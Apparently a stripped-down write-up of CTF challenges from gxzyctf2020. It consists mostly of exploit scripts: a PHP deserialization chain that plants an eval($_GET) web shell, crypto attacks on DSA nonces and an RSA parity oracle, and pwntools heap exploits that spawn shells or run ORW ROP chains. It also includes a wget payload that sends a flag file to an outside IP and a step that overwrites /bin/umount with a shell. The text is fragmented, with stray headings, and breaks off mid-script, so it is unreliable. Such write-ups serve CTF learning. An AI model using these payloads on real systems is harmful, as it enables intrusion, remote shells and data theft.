[$_SESSION] sessionallowed_classes Uploadwrite waf <?php <? save $var_1=['session.save_handler','user']; $var_2=['ini_set',$var_1]; call_user_func_array($var_2); $var_3=new MySessionHandler(); $var_4=[$var_3,True]; $var_5=['session_set_save_handler',$var_4]; call_user_func_array($var_5); public function write($var_6,$var_7) { if($this-> { 'waf' } ($var_6)) { return file_put_contents($var_7,$var_6)!==None; } return False; } public function save($var_23,$var_22) { $var_24=APP_DIR.DS.$this-> {'savePath'}.$var_22; $var_6=file_get_contents($var_23); if($this-> {'write'}($var_6,$var_24)) { $var_27=DS.$this-> {'savePath'}.$var_22; save Logger XNUCApayload <?php class Logger { protected $err = []; protected $handle; public function __construct() { $this->{'handle'} = new LogDriver(); } public function add($var_1, $var_2 = null) { $this->{'err'}[time() ] = ['data' => $var_1, 'type' => $var_2]; } public function __destruct() { if (count($this->{'err'})) { foreach ($this->{'err'} as $var_7 => $var_8) { $this->{'handle'}->{'save'}($var_7, $var_8); } } } } <? echo 'ok'; eval($_GET[1]); ?> <?php define('DS','/'); define('APP_DIR','/var/www/html/'); spl_autoload_register('inner_autoload'); function inner_autoload($class){ $class = str_replace("\\","/",$class); foreach(array('model','include','controller') as $dir){ $file = './'.$dir.'/'.$class.'.php'; if(file_exists($file)){ include $file; return; } } } class Logger { protected $err = []; protected $handle; public function __construct() { Crypto NHP $this->handle = new Upload(1,2); $this->err = ['/var/www/html/img/upload/3c9pg88km5ndiva7xrm69d4rh07zezen.png'=>'nu1l666_777 .php']; } } $_SESSION['data'] = urldecode('O%3A7%3A%22Session%22%3A4%3A%7Bs%3A5%3A%22%00%2A%00ip%22%3BN%3Bs%3A 12%3A%22%00%2A%00userAgent%22%3BN%3Bs%3A9%3A%22%00%2A%00userId%22%3BN%3Bs%3A12 %3A%22%00%2A%00loginTime%22%3BN%3B%7D'); $a = new Logger(); echo "\n\n"; $c = serialize($a); $d = urlencode($c); $e = str_replace("%00","',0x00,'",$d); echo 'HTTP_X_FORWARDED_FOR[,data%3dconcat(\'data|'.$e.'\')%23]=123'; echo "\n\n"; ?> #!/usr/bin/env sage from Crypto.Util.number import long_to_bytes import socket, telnetlib, hashlib, random, itertools #HOST, PORT = 'localhost', 9999 HOST, PORT = '121.37.174.33', 10000 s = socket.socket() s.connect((HOST, PORT)) f = s.makefile('rw', 0) def recv_until(f, delim='\n'): buf = '' while not buf.endswith(delim): buf += f.read(1) return buf def proof_of_work(suffix, chal): for comb in itertools.product(range(256), repeat=3): m = ''.join(map(chr, comb)) if hashlib.sha256(m + suffix).hexdigest() == chal: return m raise Exception("Not found...") recv_until(f, ' + ') suffix = recv_until(f, ')')[:-1].decode('hex') recv_until(f, ' == ') chal = recv_until(f, '\n').strip() m = proof_of_work(suffix, chal) recv_until(f, 'hex: ') f.write(m.encode('hex') + '\n') recv_until(f, 'p = ') p = ZZ(recv_until(f, '\n')) recv_until(f, 'q = ') q = ZZ(recv_until(f, '\n')) recv_until(f, 'g = ') g = ZZ(recv_until(f, '\n')) recv_until(f, 'y = ') y = ZZ(recv_until(f, '\n')) print 'Parameters received...' def sign(name): recv_until(f, '$ ') f.write('1\n') recv_until(f, 'username: ') f.write(name + '\n') recv_until(f, ' == ') bitlen = ZZ(recv_until(f, '\n').strip()) recv_until(f, 'hex: ') sig = recv_until(f, '\n').strip().decode('hex') r, s = map(lambda x: ZZ(int(x.encode('hex'), 16)), [sig[len(name):len(name)+20], sig[len(name)+20:len(name)+40]]) return bitlen, r, s def verify(sig): recv_until(f, '$ ') f.write('2\n') recv_until(f, 'signature: ') f.write(sig + '\n') return H = lambda m: ZZ(int(hashlib.sha256(m).hexdigest(), 16)) d = 30 msg = 'user' t, u = [], [] print 'Collecting signatures...' lancet LSB Oracle while len(t) < d: bl, r0, s0 = sign(msg) if bl >= 120: continue t_i = (r0 * inverse_mod(s0, q)) % q u_i = (2 ^ (bl + 1) - H(msg) * inverse_mod(s0, q)) % q t.append(t_i) u.append(u_i) print "Collected: %d / %d" % (len(t), d) def solve_hnp(p, k, d, t, u): M = Matrix(QQ, d + 1, d + 1) for i in xrange(d): M[i, i] = p M[d, i] = t[i] M[d, d] = 1 / (2 ** (k + 1)) def babai(A, w): A = A.LLL(delta=0.75) G = A.gram_schmidt()[0] t = w for i in reversed(range(A.nrows())): c = ((t * G[i]) / (G[i] * G[i])).round() t -= A[i] * c return w - t closest = babai(M, vector(u + [0])) return (closest[-1] * (2 ** (k + 1))) % p x = solve_hnp(q, 8, d, t, u) def dsa_sign(m, x, q, p, g): h = H(m) k = random.randint(1, q - 1) r = ZZ(pow(g, k, p)) % q s = ZZ((inverse_mod(k, q) * (h + x * r)) % q) return m.encode('hex') + r.hex().rjust(40, '0') + s.hex().rjust(40, '0') sig = dsa_sign('admin', x, q, p, g) verify(sig) t = telnetlib.Telnet() t.sock = s t.interact() from pwn import * import gmpy2, base64 from Crypto.Util.number import bytes_to_long, long_to_bytes p = remote('121.37.174.33', 9999) p.recvuntil('Welcome to RSA WORLD !!!') p.recvuntil('n:') n = int(p.recvline().strip()) p.recvuntil('e:') e = int(p.recvline().strip()) p.recvuntil('flag:') flag = int(p.recvline().strip()) log.info(hex(n)) log.info(hex(e)) log.info(hex(flag)) def encrypt(m): p.recvuntil('you can choose what you want here\n') p.sendline('1') p.recvuntil('send how long you want to encrypt\n') p.sendline(str(len(base64.b64encode(m)))) p.recvuntil('send the message in base64 encode\n') p.sendline(base64.b64encode(m)) p.recvuntil('res:') res = int(p.recvline().strip().decode('base64')) return res def decrypt(c): p.recvuntil('you can choose what you want here\n') p.sendline('2') p.recvuntil('send how long you want to decrypt\n') print len(c), len(base64.b64encode(c)) if (len(base64.b64encode(c)) >= 100): p.send(str(len(base64.b64encode(c)))) else: p.sendline(str(len(base64.b64encode(c)))) p.recvuntil('send the message in base64 encode\n') p.sendline(base64.b64encode(c)) p.recvuntil('res:') res = int(p.recvline().strip()) #res = int(p.recvline().strip().decode('base64')) return res upper_limit = n / (2 ** 1024) lower_limit = 0 i = 1025 # for 1024 bit n while i <= 2048: chosen_ct = long_to_bytes(flag*pow(2**i, e, n) % n) Misc ez_mem&usb xp output = decrypt(chosen_ct) if output == 0: upper_limit = (upper_limit + lower_limit)/2 elif output == 1: lower_limit = (lower_limit + upper_limit)/2 else: raise Exception i += 1 print lower_limit, upper_limit # Decrypted ciphertext print long_to_bytes(upper_limit) # acdxvfsvd @ ubuntu in ~/gxzyctf2020 [6:31:53] $ volatility -f data.vmem --profile=WinXPSP2x86 consoles Volatility Foundation Volatility Framework 2.6 ************************************************** ConsoleProcess: csrss.exe Pid: 464 Console: 0x5528d8 CommandHistorySize: 50 HistoryBufferCount: 1 HistoryBufferMax: 4 OriginalTitle: ????? Title: ????? AttachedProcess: cmd.exe Pid: 1396 Handle: 0x504 ---- CommandHistory: 0x556bb8 Application: cmd.exe Flags: Allocated, Reset CommandCount: 2 LastAdded: 1 LastDisplayed: 1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x504 Cmd #0 at 0x3609ea0: passwd:weak_auth_top100 Cmd #1 at 0x5576d0: start wireshark ---- Screen 0x3607750 X:80 Y:300 Dump: Microsoft Windows XP [???? 5.1.2600] (C) ???????? 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator>passwd:weak_auth_top100 ???????????????????????????????? zip weak_auth_top100 C:\Documents and Settings\Administrator>start wireshark ?????????????? wireshark?? C:\Documents and Settings\Administrator> ************************************************** ConsoleProcess: csrss.exe Pid: 464 Console: 0x55ae98 CommandHistorySize: 50 HistoryBufferCount: 1 HistoryBufferMax: 4 OriginalTitle: ?U?UtemRoot%\system32\defrag.exe Title: ?U??INDOWS\system32\defrag.exe ************************************************** ConsoleProcess: csrss.exe Pid: 464 Console: 0x983e98 CommandHistorySize: 50 HistoryBufferCount: 1 HistoryBufferMax: 4 OriginalTitle: ?U?UtemRoot%\system32\defrag.exe Title: ?U??INDOWS\system32\defrag.exe ---- CommandHistory: 0x55af9c Application: ?U?U2B> Flags: CommandCount: -20568 LastAdded: 85 LastDisplayed: 1 FirstCommand: 4 CommandCountMax: 50 ProcessHandle: 0x3e # acdxvfsvd @ ubuntu in ~/gxzyctf2020 [6:36:22] $ volatility -f data.vmem --profile=WinXPSP2x86 filescan | grep flag Volatility Foundation Volatility Framework 2.6 0x0000000001155f90 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\Administrator\flag.img 00:00:09:00:00:00:00:00 00:00:0F:00:00:00:00:00 00:00:04:00:00:00:00:00 00:00:0A:00:00:00:00:00 00:00:2F:00:00:00:00:00 00:00:23:00:00:00:00:00 00:00:26:00:00:00:00:00 00:00:1F:00:00:00:00:00 00:00:27:00:00:00:00:00 00:00:27:00:00:00:00:00 00:00:25:00:00:00:00:00 usb TOGETYOURFLAG zipwav .... MP3Stego... 187485618521 00:00:20:00:00:00:00:00 00:00:22:00:00:00:00:00 00:00:24:00:00:00:00:00 00:00:25:00:00:00:00:00 00:00:21:00:00:00:00:00 00:00:08:00:00:00:00:00 00:00:06:00:00:00:00:00 00:00:20:00:00:00:00:00 00:00:08:00:00:00:00:00 00:00:07:00:00:00:00:00 00:00:25:00:00:00:00:00 00:00:07:00:00:00:00:00 00:00:1F:00:00:00:00:00 00:00:04:00:00:00:00:00 00:00:23:00:00:00:00:00 00:00:21:00:00:00:00:00 00:00:08:00:00:00:00:00 00:00:24:00:00:00:00:00 00:00:20:00:00:00:00:00 00:00:09:00:00:00:00:00 00:00:08:00:00:00:00:00 00:00:26:00:00:00:00:00 00:00:1E:00:00:00:00:00 00:00:20:00:00:00:00:00 00:00:06:00:00:00:00:00 00:00:27:00:00:00:00:00 00:00:30:00:00:00:00:00 USEBASE64 MTg3NDg1NjE4NTIx USEBASE64 base64 gmon.out0x401XXXvmp strcmp0flag x64dbgflag MISC Apk GetFlag HmacwgetUAGNU Wget import hmac from hashlib import sha1 from pwn import * def hmacsha1(k,s): hashed = hmac.new(k, s, sha1) return hashed.hexdigest() def send_p(s,k): message = {"message":s,"check":hmacsha1(k,s)} return str(message) p = remote('212.64.66.177',8080) # p = remote('127.0.0.1',8080) k = int(p.recvline()[:-1]) Pwn Shotest_Path_v2 # payload = "--body-file=/data/data/com.xuanxuan.getflag/files/flag 66.42.44.232:23333" payload = "66.42.44.232:23333 --body- file=/data/data/com.xuanxuan.getflag/files/flag --method=HTTPMethod" p.sendline(send_p(payload,str(k))) p.interactive() #!/usr/bin/env python3 #-*- coding: utf-8 -*- from pwn import * # flag{SPFA_1s_4_9o0d_A1gorithm} context.arch= 'amd64' r = lambda x: p.recvuntil(x,drop=True) s = lambda x,y: p.sendafter(x,y) sl = lambda x,y : p.sendlineafter(x,y) HOST,PORT = '121.37.181.246',19008 p = remote(HOST,PORT) # p = process('./Shortest_path') e = ELF("./Shortest_path") def alloc(idx,p,l,name,n,ids=[],dis=[]): sl('---> ',str(1)) sl('ID: ',str(idx)) sl('Price: ',str(p)) sl('Length: ',str(l)) sl('Name: \n',name) sl('station: ',str(n)) for i in range(n): sl('ID: ',str(ids[i])) sl('distance: ',str(dis[i])) def rem(idx): sl('---> ',str(2)) sl('ID: ',str(idx)) def queryst(idx): sl('---> ',str(3)) sl('ID: ',str(idx)) twochunk def queryro(sid,tid): sl('---> ',str(4)) sl('ID: ',str(sid)) sl('ID: ',str(tid)) alloc(0,0,0x17,'\0'*0x17,0) alloc(1,1,0x27,'\0'*0x17,0) for i in range(0x2,0x11): alloc(i,i,0x17,'\0'*0x17,1,[i+1],[-1]) alloc(0x11,0x11,0x17,'\0'*0x17,1,[2],[-1]) rem(0) rem(1) queryro(0x2,0x11) alloc(0x12,0x12,0x10,p64(0)+p64(0x6068E0),0) queryst(0) p.interactive() #!/usr/bin/env python3 #-*- coding: utf-8 -*- from pwn import * # flag{Th1s_1s_the_flag_0f_tw0chunk} context.arch= 'amd64' r = lambda x: p.recvuntil(x,drop=True) s = lambda x,y: p.sendafter(x,y) sl = lambda x,y : p.sendlineafter(x,y) # p = process('./twochunk') HOST,PORT = '121.36.209.145',9999 p = remote(HOST,PORT) l = ELF('/lib/x86_64-linux-gnu/libc-2.30.so') e = ELF("./twochunk") s('name: ',p64(0x23333020)*6) s('message: ',p64(0x23333020)*8) def add(idx,sz): s('choice: ',str(1)) s('idx: ',str(idx)) s('size: ',str(sz)) def free(idx): s('choice: ',str(2)) s('idx: ',str(idx)) def show(idx): s('choice: ',str(3)) s('idx: ',str(idx)) def edit(idx,cnt): s('choice: ',str(4)) s('idx: ',str(idx)) s('content: ',cnt) def sshow(): s('choice: ',str(5)) def leave(msg): s('choice: ',str(6)) s('message: ',msg) def bback(): s('choice: ',str(7)) # leaking libc # add(0,0x228) # for i in range(0x7): # add(1,0x228) # free(1) # free(0) # add(1,23333) # show(1) # l.address = u64(p.recv(8))-0x1eaf00 # log.info('l.address:'+hex(l.address)) for i in range(5): add(0,0x88) free(0) # construce smallbins chain add(0,0x128) for i in range(0x7): add(1,0x128) free(1) free(0) add(1,0x98) free(1) add(0,0xe9) musl add(1,0xe9) free(0) free(1) add(0,0x138) for i in range(0x7): add(1,0x138) free(1) free(0) add(1,0xa8) free(1) # leaking heap add(1,23333) show(1) heap = u64(p.recv(8))-0xef0 log.info('heap:'+hex(heap)) add(0,0x200) free(0) # tcache_put payload = 0x108*'\x00' payload += p64(0xb1) payload += '\x00'*0x98+p64(0x91) payload += p64(heap+0x600)+p64(0x23332ff0) edit(1,payload) add(0,0x88) # leaking libc sshow() r('message: ') l.address = u64(p.recvuntil('\n',drop=True).ljust(0x8,'\0'))-0x1eac60 log.info('l.address:'+hex(l.address)) system = l.symbols['system'] log.info('system:'+hex(system)) leave(p64(system)+'/bin/sh\x00'+4*p64(0)+p64(0x23333008)+0x48*'\0') # getshell bback() p.interactive() #!/usr/bin/env python3 #-*- coding: utf-8 -*- from pwn import * # flag{It_1s_n0t_0ur_3nemi3s_that_def3at_us_It_1s_0ur_f3ar_POE} context.arch= 'amd64' r = lambda x: p.recvuntil(x,drop=True) s = lambda x,y: p.sendafter(x,y) sl = lambda x,y : p.sendlineafter(x,y) # p = process('./carbon') HOST,PORT = '119.3.158.103',19008 p = remote(HOST,PORT) e = ELF("./carbon") def add(sz,cnt,bel='N'): sl('> ',str(1)) sl('>',str(sz)) sl('>',bel) s('>',cnt) def dele(idx): sl('> ',str(2)) sl('>',str(idx)) def edit(idx,cnt): sl('> ',str(3)) sl('>',str(idx)) p.send(cnt) def show(idx): sl('> ',str(4)) sl('>',str(idx)) # leaking libc add(0x68,'0'*0x68) add(0x68,'1'*0x68) add(0x68,'2'*0x68) add(0x68,'3'*0x68) add(0x68,'4'*0x68) dele(0) add(0x8,'0'*0x8) show(0) r('0'*0x8) libc = u64(r('Done').ljust(0x8,b'\0'))-0x292b08 log.info('libc:'+hex(libc)) mmap = libc+0x290000 log.info('mmap:'+hex(mmap)) environ = libc+0x294fd8 log.info('environ:'+hex(environ)) lgd off by one + seccomp ban execveadd rsp,0x48;ret;orw # dele(1) dele(2) # unlink payload = p64(0x91)+p64(0x70) payload += p64(mmap+0x28-0x18)+p64(mmap+0x28-0x10) payload += b'\x00'*0x50 payload += p64(0x70)+p64(0x81) add(0x68,payload+b'\n','Y') dele(3) edit(2,p32(0x602034)+b'\x00\x00\x00\n') edit(1,p32(0x0)+b'\n') #leaking stack edit(2,p64(environ)[0:6]+b'\n') show(1) stack = u64(r('Done').ljust(0x8,b'\0')) log.info('stack:'+hex(stack)) edit(2,p64(stack-0x70)[0:6]+b'\n') # z() edit(1,p64(libc+0x390D1)[0:6]+b'\n') p.interactive() from pwn import * #r = process('./lgd') r = remote('121.36.209.145',9998) context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] def add(size,content): r.recvuntil(">> ") r.sendline("1") r.recvuntil("______?") r.sendline(str(size)) r.recvuntil("start_the_game,yes_or_no?") r.send(content) def free(index): r.recvuntil(">> ") r.sendline("2") r.recvuntil("index ?") r.sendline(str(index)) def show(index): r.recvuntil(">> ") r.sendline("3") r.recvuntil("index ?\n") r.sendline(str(index)) def edit(index,content): r.recvuntil(">> ") r.sendline("4") r.recvuntil("index ?") r.sendline(str(index)) r.recvuntil("_**c___r__s**++___c___new_content ?") r.send(content) r.recvuntil("son call babaaa,what is your name?") payload = 'a'*0x10 + p64(0x4023ad)+p64(0x603060) r.sendline(payload) ##leak add(0x98,'a'*0x98) #0 add(0x18,'b'*0x18) #1 free(0) #-0 add(0x98,'a'*0x98) #0 show(0) x = r.recvuntil("\n")[:-1] libc = u64(x.ljust(8,'\x00')) -0x7ff5ad02fb78+0x7ff5acc6b000 add(0x18,'c'*0x18) #2 free(1) #-1 free(2) #-2 add(0x18,'d'*0x18) #1 show(1) x = r.recvuntil("\n")[:-1] heap = u64(x.ljust(8,'\x00')) -0xa0 print("libc:"+hex(libc)) print("heap:"+hex(heap)) free(1) ##off by one add(0x28,'a'*0x28) #1 add(0x28,'b'*0x28) #2 add(0x68,'c'*0x68) #3 add(0x68,'d'*0x68) #4 add(0x68,'f'*0x68) #5 edit(3,'a'*8+p64(0x41)) free(5) free(4) free(3) edit(1,'d'*0x28+'\x41') free(2) add(0x38,'a'*0x38) #2 easyheap malloc_hook = 0x7ffff7dd1b10-0x7ffff7a0d000+libc edit(2,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23)) add(0x68,'a'*0x68)#3 pop_rdi = 0x4023b3 flag_addr = 0x603060 pop_rsi = libc+0x0202e8 pop_rdx = libc+0x1b92 open_addr = libc+0x0f7030 read_addr = libc+0x0f7250 write_addr = libc+0x0f72b0 payload2 = './flag'.ljust(0x18,'\x00')+p64(pop_rdi) + p64(flag_addr)+p64(pop_rsi) + p64(0) + p64(open_addr) payload2 += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x603060+0x100)+p64(pop_rdx)+p64(100)+p64 (read_addr) payload2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0x603060+0x100)+p64(pop_rdx)+p64(100)+p64 (write_addr) add(0x68,'aaa')#4 add(0x200,payload2) edit(4,'d'*0x13+p64(libc+0x0143671)) #add rsp,0x48;ret; r.recvuntil(">> ") r.sendline("1") r.recvuntil("______?") r.sendline('222') r.interactive() from pwn import * from docker_debug import * context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] def add(p, size, buf): p.recvuntil('Your choice:') p.sendline('1') p.recvuntil('How long is this message?') p.sendline(str(size)) if size > 0x400: p.recvuntil('Too much size!') return p.recvuntil('What is the content of the message?') p.send(buf) p.recvuntil('Add successfully.') def delete(p, idx): p.recvuntil('Your choice:') p.sendline('2') p.recvuntil('What is the index of the item to be deleted?\n') p.sendline(str(idx)) def edit(p, idx, buf): p.recvuntil('Your choice:') p.sendline('3') p.recvuntil('What is the index of the item to be modified?') p.sendline(str(idx)) p.recvuntil('What is the content of the message?') p.send(buf) p.recvuntil('Edit successfully.') def main(): debug_env = DockerDebug('ubuntu-1604') # program path in docker #p = debug_env.process('./easyheap') p = remote('121.36.209.145', 9997) payload = p64(0x602018) + p64(0x400) + b'a'*0x10 + p64(0x602050) add(p, 0x400, payload) delete(p, 0) add(p, 0x401, '') add(p, 0x401, '') add(p, 0x401, '') edit(p, 1, p64(0x400670)) delete(p, 2) system_addr = u64(p.recvuntil(b'\x7f') + b'\x00\x00') + 0xe510 log.info('system: {}'.format(hex(system_addr))) add(p, 0x400, '/bin/sh\x00') edit(p, 1, p64(system_addr)) delete(p, 2) #debug_env.attach(p, gdbscript='') p.interactive() if __name__ == '__main__': main() from pwn import * # s = process("./easyheap") s = remote("121.36.209.145",9997) elf = ELF("./easyheap") def add(size,buf): s.sendlineafter("Your choice:","1") s.sendlineafter("How long is this message?",str(size)) s.sendafter("What is the content of the message?",str(buf)) def edit(idx,buf): s.sendlineafter("Your choice:","3") s.sendlineafter("What is the index of the item to be modified?",str(idx)) s.sendafter("What is the content of the message?",str(buf)) def free(idx): s.sendlineafter("Your choice:","2") s.sendlineafter("What is the index of the item to be deleted?",str(idx)) # gdb.attach(s,""" # b *0x400B93 # c # """) add(0x100,p64(0x6020C0)*(0x100/8))#0 free(0) add(0x20,'AAA')#0 free(1) add(0,'')#1 s.sendlineafter("Your choice:","1") s.sendlineafter("How long is this message?",str(12345678)) free_got = elf.got['free'] puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] atoi_got = elf.got['atoi'] edit(2,p64(0x6020c8)+p64(free_got)+p64(0x6020d8)+p64(0x6020c0)+p64(0x6020e8)+ p64(puts_got)+p64(0x6020f8)+p64(atoi_got)+p64(0x1234)) edit(0,p64(puts_plt)) free(4) s.recvline() puts = u64(s.recv(6).ljust(8,'\x00')) libc = ELF("./libc.so.6") offset = puts - libc.symbols['puts'] success(hex(offset)) system = offset + libc.symbols['system'] edit(6,p64(system)) s.interactive() woodenbox #!/usr/bin/env python3 #-*- coding: utf-8 -*- from pwn import * context.arch= 'amd64' context.log_level = 'debug' r = lambda x: p.recvuntil(x,drop=True) s = lambda x,y: p.sendafter(x,y) sl = lambda x,y : p.sendlineafter(x,y) # p = process('./woodenbox2') HOST,PORT = '121.36.215.224',9998 p = remote(HOST,PORT) e = ELF("./woodenbox2") l = ELF('/lib/x86_64-linux-gnu/libc.so.6') def alloc(sz,cnt): s(':',str(1)) s(':',str(sz)) s(':',cnt) def edit(idx,sz,cnt): s(':',str(2)) s(':',str(idx)) s(':',str(sz)) s(':',cnt) def dele(idx): s(':',str(3)) s(':',str(idx)) def z(cmd=""): context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] pause() gdb.attach(p,''' b *__libc_malloc c '''+cmd) alloc(0x68,'0'*0x68) alloc(0x68,'1'*0x68) alloc(0x68,'2'*0x68) alloc(0x68,'3'*0x68) edit(0,0x70,'0'*0x68+p64(0xe1)) easy_unicorn dele(1) dele(1) alloc(0x38,'6'*0x38) alloc(0x28,'7'*0x28) # leaking edit(2,0x32,'5'*0x28+p64(0x71)+'\xdd\x25') alloc(0x68,'\0'*0x68) alloc(0x68,'\x00'*0x33+p64(0xfbad3c80)+3*p64(0)+p8(0)) p.recv(0x48) l.address = u64(p.recv(8))-0x3c56a3 log.info('l.address:'+hex(l.address)) __malloc_hook = l.symbols['__malloc_hook'] log.info('__malloc_hook:'+hex(__malloc_hook)) realloc = l.symbols['realloc'] log.info('realloc:'+hex(realloc)) one = l.address+0x4526a log.info('one:'+hex(one)) dele(3) edit(1,0x38,'5'*0x28+p64(0x71)+p64(__malloc_hook-0x23)) alloc(0x68,'\0'*0x68) alloc(0x68,'\x00'*(0x13-0x8)+p64(one)+p64(realloc)) s(':',str(1)) s(':',str(0x8)) # flag{D0_y0u_kn0w_h0o34_o7_R0m4n?} p.interactive() #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import os, struct, time env = os.environ.copy() env['LD_LIBRARY_PATH'] = "./" context.log_level = 'DEBUG' context.arch = 'amd64' p = process("./x86_sandbox", env=env) #p = remote("121.37.167.199", 9998) p.recvuntil("[1;31;5m ") code = map(lambda x: int(x, 16), p.recvuntil(" \x1B[0m\n", drop=True).split('- ')) data = map(ord, struct.pack("<LLLL", *code)) for i in xrange(14, -1, -1): data[i] ^= data[i + 1] passwd = ''.join(map(chr, data)).encode('hex') prompt = lambda: p.recvuntil("<< ") for _ in xrange(0x20): prompt() p.sendline("") prompt() p.sendline(passwd) shellcode = ''' call doit .asciz "flag.txt" doit: pop rdi xor rdx, rdx xor rsi, rsi mov eax, 2 syscall xor rax, rax mov edi, 3 mov edx, 0x100 mov rsi, rsp syscall mov eax, 1 mov edi, 1 mov rsi, rsp mov edx, 0x100 syscall ''' shellasm = asm(shellcode) p.recvuntil("ptr:") ptr = int(p.recvline().strip(), 16) time.sleep(1) p.sendafter("data<<", shellasm.ljust(1280)) p.sendlineafter("ptr<<", str(ptr)) p.sendlineafter("arg0<<", str(ptr)) p.sendlineafter("arg1<<", str(ptr)) p.sendlineafter("arg2<<", str(ptr)) bjut p.interactive() from pwn import * # from LibcSearcher import LibcSearcher # s = process("./hw") s = remote("121.37.167.199",9997) libc = ELF("./libc.so.6") def add(size,buf): s.sendlineafter(">","1") s.sendlineafter("The length of your hw:",str(size)) s.sendafter("Input your hw:",buf) def show(idx): s.sendlineafter(">","4") s.sendlineafter("The index of your hw:",str(idx)) def free(idx): s.sendlineafter(">","3") s.sendlineafter("The index of your hw:",str(idx)) def edit(idx,buf): s.sendlineafter(">","2") s.sendlineafter("The index of your hw:",str(idx)) s.sendafter("Input your hw:",str(buf)) # gdb.attach(s,""" # b *0x40180f # c # """) add(0x40,'AAAA')#0 free(0) show(-1879) s.recvuntil("Your hw:\n") free = u64(s.recv(6).ljust(8,'\x00')) success(hex(free)) # libc = LibcSearcher("free",free) offset = free-libc.symbols['free'] success(hex(offset)) system = offset+libc.symbols['system'] edit(-1879,p64(system)) Kernoob flag... EasyVM add(0x40,'/bin/sh\x00')#0 # free(0) # raw_input(">") s.sendline("5") s.interactive() from pwn import * #r = process('./EasyVM') r = remote('121.36.215.224',9999) context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] def send(content): r.recvuntil(">>> ") r.sendline("1") sleep(1) r.send(content) def run(): r.recvuntil(">>> \n") r.sendline("2") def free(): r.recvuntil(">>> ") r.sendline("3") def gift(): r.recvuntil(">>> ") r.sendline("4") def swrite(idx,value): payload = '\x80'+chr(idx)+p32(value) return payload #leak gift() payload = '\x09\x11\x99' send(payload) run() x = r.recvuntil("\n")[:-1] x = int(x,16) free_got = 0x56557FBC - 0x56555000+x-0x6c0 babyhacker flag babyhacker2 print(hex(free_got)) free_libc = '' for i in range(4): payload = swrite(3,free_got+i)+'\x53'+'\x99'+'\x99' send(payload) run() free_libc += r.recv(1) libc = u32(free_libc) - 0x071470 print(hex(libc)) free_hook = 0xf7fb68b0-0xf7e03000+libc system = 0xf7e3dda0-0xf7e03000+libc for i in range(4): payload = swrite(3, free_hook+i) + '\x54'+'\x99'*2 send(payload) run() r.send(p32(system)[i]) payload1 = '\x80'+chr(16)+'/bin'+'\x99' send(payload1) run() payload2 = '\x80'+chr(17)+'/sh\x00'+'\x99' send(payload2) run() free() r.interactive() from pwn import * io = remote('121.36.215.224', 9001) #ssh_io = ssh('pwn', '121.37.167.199', port = 10022,password='pwn') #io = ssh_io.shell() io.sendlineafter('$', 'cd /') io.sendlineafter('$', 'rm /bin/umount') io.sendlineafter('$', "echo '#!/bin/sh' > /bin/umount") io.sendlineafter('$', "echo '/bin/sh' >> /bin/umount") io.sendlineafter('$',"chmod +x /bin/umount") io.sendlineafter('$',"exit") io.sendline("cat /flag") rustpad io.interactive() #ssh_io.close() #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * from functools import wraps import errno import os import signal context.log_level = 'error' class TimeoutError(Exception): pass def timeout(seconds=10, error_message=os.strerror(errno.ETIME)): def decorator(func): def _handle_timeout(signum, frame): raise TimeoutError(error_message) def wrapper(*args, **kwargs): signal.signal(signal.SIGALRM, _handle_timeout) signal.alarm(seconds) try: result = func(*args, **kwargs) finally: signal.alarm(0) return result return wraps(func)(wrapper) return decorator code_tpl = '''static BS: usize = 0xaabbccdd; static UNIT: &'static &'static () = &&(); fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T) -> &'a T {{ v }} fn bad<'a, T>(x: &'a T) -> &'static T {{ let f: fn(_, &'a T) -> &'static T = foo; f(UNIT, x) }} fn foow<'a, 'b, T>(_: &'a &'b (), v: &'b mut T) -> &'a mut T {{ v }} fn badw<'a, T>(x: &'a mut T) -> &'static mut T {{ let f: fn(_, &'a mut T) -> &'static mut T = foow; f(UNIT, x) }} fn jackpot() {{ let mut i: u64 = 0; while i < 0x100000000 {{ i += 1; }} }} pub fn code() {{ fn inner() -> &'static Vec<u8> {{ let x = Box::new(Vec::new()); bad(&*x) }} let x = inner(); let mut y = Box::new((1usize, 2usize, 3usize)); let mut i: usize = &BS as *const _ as usize; let mut r = |addr: usize| {{ y.0 = addr; x[0] }}; let r32 = |r: &mut FnMut(usize) -> u8, x: usize| {{ let mut tmp = 0u32; for j in 0..4 {{ tmp |= (r(x+j) as u32) << (8 * j); }} tmp }}; let r64 = |r: &mut FnMut(usize) -> u8, x: usize| {{ let mut tmp = 0u64; for j in 0..8 {{ tmp |= (r(x+j) as u64) << (8 * j); }} tmp }}; fn eswap(x: u32) -> u32 {{ (x & 0xff000000) >> 24 | (x & 0x00ff0000) >> 08 | (x & 0x0000ff00) << 08 | (x & 0x000000ff) << 24 }} let mut fl: bool = false; loop {{ let v = r32(&mut r, i); if eswap(v) == 0x666c6167 {{ fl = true; break; }} if eswap(v) == 0x7f454c46 && i & 3 == 0 {{ break; }} i -= 1; }} if fl {{ if r(i + {index}) > {mid} {{ jackpot(); }} }} }}''' verify_tpl = '''static BS: usize = 0xaabbccdd; static UNIT: &'static &'static () = &&(); fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T) -> &'a T {{ v }} fn bad<'a, T>(x: &'a T) -> &'static T {{ let f: fn(_, &'a T) -> &'static T = foo; f(UNIT, x) }} fn foow<'a, 'b, T>(_: &'a &'b (), v: &'b mut T) -> &'a mut T {{ v }} fn badw<'a, T>(x: &'a mut T) -> &'static mut T {{ let f: fn(_, &'a mut T) -> &'static mut T = foow; f(UNIT, x) }} fn jackpot() {{ let mut i: u64 = 0; while i < 0x100000000 {{ i += 1; }} }} pub fn code() {{ fn inner() -> &'static Vec<u8> {{ let x = Box::new(Vec::new()); bad(&*x) }} let x = inner(); let mut y = Box::new((1usize, 2usize, 3usize)); let mut i: usize = &BS as *const _ as usize; let mut r = |addr: usize| {{ y.0 = addr; x[0] }}; let r32 = |r: &mut FnMut(usize) -> u8, x: usize| {{ let 